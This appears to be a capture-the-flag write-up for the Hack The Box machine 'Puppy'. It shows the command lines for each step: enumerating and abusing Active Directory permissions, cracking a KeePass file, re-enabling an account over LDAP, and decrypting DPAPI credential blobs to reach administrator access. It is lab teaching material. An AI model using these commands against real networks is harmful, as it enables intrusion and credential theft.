Recon 🕵️
Network Enumeration
TCP Scan
ip=10.129.215.159nmap -sCV -p- -vv -A -T5 -oA scan/normal $ipBased on the TCP scan results, the following ports are available for further assessment:
| Port | Software | Version | Status |
|---|---|---|---|
| 53/tcp | domain | ttl 127 Simple DNS Plus | open |
| 88/tcp | kerberos-sec | ttl 127 Microsoft Windows Kerberos (server time: 2025-05-23 00:51:02Z) | open |
| 111/tcp | rpcbind | ttl 127 2-4 (RPC #100000) | open |
| 135/tcp | msrpc | ttl 127 Microsoft Windows RPC | open |
| 139/tcp | netbios-ssn | ttl 127 Microsoft Windows netbios-ssn | open |
| 389/tcp | ldap | ttl 127 Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name) | open |
| 445/tcp | microsoft-ds? | ttl 127 | open |
| 464/tcp | kpasswd5? | ttl 127 | open |
| 593/tcp | ncacn_http | ttl 127 Microsoft Windows RPC over HTTP 1.0 | open |
| 2049/tcp | nlockmgr | ttl 127 1-4 (RPC #100021) | open |
| 3268/tcp | ldap | ttl 127 Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name) | open |
| 5985/tcp | http | ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) | open |
| 9389/tcp | mc-nmf | ttl 127 .NET Message Framing | open |
| 49670/tcp | ncacn_http | ttl 127 Microsoft Windows RPC over HTTP 1.0 | open |
The scan reveals that all standard Active Directory ports, including LDAP and Kerberos, are open. it also discloses the domain name so let’s add it to our /etc/hosts file :
echo "$ip puppy.htb dc.puppy.htb" | sudo tee -a /etc/hostsActive Directory Enumeration
Enumerating the SMB shares
Let’s start by enumerating the smb shares:
nxc smb $ip -u 'levi.james' -p 'KingofAkron2025!' --shares
The scan results show we can access the SYSVOL and NETLOGON shares, which can be used by bloodhound-python to generate data for bloodhound. We don’t yet have access to the DEV share, but its contents may become relevant later.
Bloodhound
To kick off our Active Directory exploration, we need to gather data from shares like SYSVOL and NETLOGON. These are goldmines for uncovering Group Policy Objects, user permissions, and domain trusts:
bloodhound-python --dns-tcp -ns $ip -d puppy.htb -u 'levi.james' -p 'KingofAkron2025!' -c allWith the data in hand, it’s time to load it into BloodHound’s GUI and start running queries. With the DEV share in mind, I started exploring BloodHound for paths to escalate from levi.james to a member of the Developers group. I found a straightforward path: levi.james is part of the HR group, which has GenericWrite permissions over the Developers group. This means we can add levi.james to the Devs group, potentially granting access to the DEV share:

Exploiting 🦈
Foothold
Accessing the DEV share:
After adding levi.james successfully to the Developers group we see that we have access to the DEV share:
net rpc group addmem "DEVELOPERS" "levi.james" -U "puppy.lhtb"/"levi.james"%"KingofAkron2025!" -S "dc.puppy.htb"
In the DEV share, we found several KeePass files, which typically store credential hashes but from past experiences they are tough to crack:
smbclient //$ip/DEV -U 'puppy.htb\levi.james%KingofAkron2025!'
Cracking the passwords:
To recover the passwords, I began by extracting the master key from the recovery.kdbx KeePass file using this tool:

keepass_masterKey:liverpoolNow that I have the master key, I accessed the recovery.kdbx database and found the users and their passwords:

ADAM.SILVER:HJKL2025!ant.edwards:Antman2025!jamie.williams:JamieLove2025!samuel.blake:ILY2025!steve.tucker:Steve2025!Identifying the attack vector:
For now, let’s set aside cracking the KeePass hashes and focus on BloodHound to identify users whose access could be key. In the Developers group, which levi.james is now a member of, we find three existing accounts:

The first thing that caught my eye is the ADAM.SILVER user, which is disabled but still a member of the Remote Management Users group, allowing remote access via WinRM:

At this point it’s safe to assume that ADAM.SILVER is our way in, so let’s try to enable their account, I continued exploring the permissions of the other two accounts in the Developers group. I discovered that ant.edwards is a member of the Senior Devs group, which has GenericAll permissions over ADAM.SILVER:

Shell as ADAM.SILVER:
First, let’s enable the ADAM.SILVER account by creating a .ldif file with the following content:
dn: CN=Adam D. Silver,CN=Users,DC=PUPPY,DC=HTBchangetype: modifyreplace: userAccountControluserAccountControl: 512An
LDIF (LDAP Data Interchange Format)file is a text file used to represent LDAP directory data or changes, such as adding, modifying, or deleting entries, in a standardized format for tools likeldapmodify.
The
userAccountControlattribute is a bitmask, and setting it to 512 enables the account, as specified in the Microsoft documentation.
Now let’s use the created file to change the account’s attributes:
ldapmodify -x -H ldap://puppy.htb -D 'ant.edwards@puppy.htb' -w 'Antman2025!' -f enable.ldifAnd as we can see the account was successfully enabled:

Finally we can login and collect the user flag:
evil-winrm -i puppy.htb -u 'ADAM.SILVER' -p 'HJKL2025!'
Privilege Escalation
Shell as step.cooper_adm:
While exploring, I discovered a non-standard backups directory in C:\. Inside, I found a zip file. Let’s exfiltrate it and examine its contents:

Inside the unzipped directory, there is a backup XML file containing cleartext credentials for steph.cooper.

steph.cooper:ChefSteph2025!There are no direct paths from steph.cooper to an administrator account. The only potential lead is a new user, steph.cooper_adm, who is part of the Administrators group, but it does not reuse the same password:

With nothing showing up in BloodHound, the next step is to perform manual enumeration. Just like in Vintage, I found DPAPI credential blobs as well as the DPAPI master key:

The next step is to unhide and then exfiltrate the files:
cmd /c "attrib -h -s C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9"cmd /c "attrib -h -s C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407"To crack them we are going to use dpapi.py:
impacket-dpapi masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 \-sid S-1-5-21-1487982659-1829050783-2281216199-1107 \-password 'ChefSteph2025!'
Now with the decrypted master key, let’s decrypt the credential blob:
impacket-dpapi credential -file C8D69EBE9A43E9DEBF6B5FBD48B521B9 -key '0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84'And we get steph.cooper_adm’s credentials:

steph.cooper_adm:FivethChipOnItsWay2025!Last thing that remains is to collect the flag:
evil-winrm -i puppy.htb -u 'steph.cooper_adm' -p 'FivethChipOnItsWay2025!'
If you are doing this box, it’s worth noting that nxc has a new dpapi module that does all of the heavy lifting for you so it might be worth checking it out.
